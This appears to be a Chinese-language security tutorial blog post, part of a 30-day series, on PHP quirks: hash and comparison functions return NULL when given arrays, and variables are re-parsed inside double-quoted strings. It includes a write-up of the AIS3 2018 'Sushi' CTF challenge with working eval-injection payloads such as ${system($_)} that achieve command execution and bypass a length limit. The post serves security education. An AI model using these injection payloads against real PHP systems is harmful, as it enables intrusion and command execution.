iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 11
1
Security

資安0~100K只要30天系列 第 11

Day 11 - PHP 黑魔法 (二)

  • 分享至 

  • xImage
  •  

預期外函數行為

在許多函數中
PHP 給了許多容錯機制在裡面
雖然說為開發帶來了方便
但同時也衍生出問題

我們來看一下例子
沒錯 又是 md5

if($a != $b && md5($a) === md5($b))
    echo 'T';

這跟上一篇說到的不同
這次使用三個等於代表除了碰撞以外沒別的辦法使 md5 相等了

but
就是這個 but
讓我們來看一下官方的 md5 說明

在這裡我們可以清楚的看到 PHP 定義了要傳進去哈希的必須是字串
然後吐一個 32 個字的 hex 給我們
到這裡各位是不是很想噴我
看完文件了阿上面的等式不是一樣得碰撞嗎

是阿 是得撞
阿就 $a1, $b2
就真的會過喔不騙你
只是我們需要來點小心機

文件叫我們只能給字串進去 hash
身為一個專業犯賤 我當然不依阿
這時候我們丟丟看 array 進去給 md5 看看會發生什麼事

$a = array();

var_dump(md5($a));

唉唷 沒壞ㄟ
還送我個警告說不可以這樣
然後噴個 NULL 出來

那這樣就只要把 $a$b 都給 array
後面的條件就成立了
因為 NULL === NULL

那麼前面的 a b 不相等呢
這個就只要把 array 中塞不同的值給它就好
輕鬆自在

只有 md5 這樣嗎
當然不只
在 PHP 中
以下這些都有這種預期外行為的例外處理
而且都是頗常見的一些比較函數
大家有興趣可以自己玩玩

md5(Array()) = null
sha1(Array()) = null
ereg(pat, Array()) = null
preg_match(pat, Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(), "abc") = null
strlen(Array()) = null

變數多重解析

要講這個之前
首先要來認識一下 PHP 中大括號 { } 的用途
還有 "雙引號" 和 '單引號' 在語法中的不同

  • 引號
    • 雙引號中可以包含變數且會被解析
    • 單引號中不管什麼都會被當作純文字
$a = 'aaa';
echo "$a"; // aaa
echo '$a'; // $a
  • 大括號
    • 包起來作為一個解析域且整段可被雙引號解析
    • 可執行函數 (重點!)
$a = array(1, 2);
echo "{$a[1]}"; // 2
echo "{$a}[1]"; // Array[1]
function test()
{
    echo 'test';
}
echo "${test()}"; // test

那到了這裡了解了用法之後
我們來看看一道題目
這是 AIS3 2018 pre-exam 的 Web - Sushi (原題)

<?php
// PHP is the best language for hacker
// Find the flag !!
highlight_file(__FILE__);
$_ = $_GET['?'];

if( strpos($_, '"') || strpos($_, "'") ) 
	die('Bad Hacker :(');

eval('die("' . substr($_, 0, 16) . '");');

從題目可以看到輸入被限制只能 16 個字被放進 die("") 的雙引號中
這題其實有多種解法
我們直接舉例來看看獵奇解

上面說過大括號可以在雙引號中執行函數
像這樣

${phpinfo()}

接著嘗試 RCE

${system(ls)}

也成功了
可是會發現一個超長的檔名

要 cat 它的話一定超過 16 個字
這時候我們可以利用變數會被再一次解析的特性
$_ 再把自己放進去來達成繞過長度限制

${system($_)}|cat flag_is_too_lo0o0o0o0o0o0o0ong.txt

會發現 flag 最後面還多出了 |ca
可以算一算前面剛好是我們打進去的前 16 個字
只是前面得部分被執行所以替換成 flag 了
有沒有很神奇呢

上面重放一次的概念是 PHP 的變數會被再解析一次
所以從

${system($_)}|cat flag_is_too_lo0o0o0o0o0o0o0ong.txt

變成了

${system(${system($_)}|cat flag_is_too_lo0o0o0o0o0o0o0ong.txt)}|cat flag_is_too_lo0o0o0o0o0o0o0ong.txt

粗體是 $_ 被解析後放進去的內容
也就是原本那串我們輸入的東西
而 system 裡面由於 | 之前的語法對 shell 來說是無意義的
因此會直接去執行 cat xxx 那邊


上一篇
Day 10 - PHP 黑魔法 (一)
下一篇
Day 12 - PHP 偽協議 (一)
系列文
資安0~100K只要30天30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言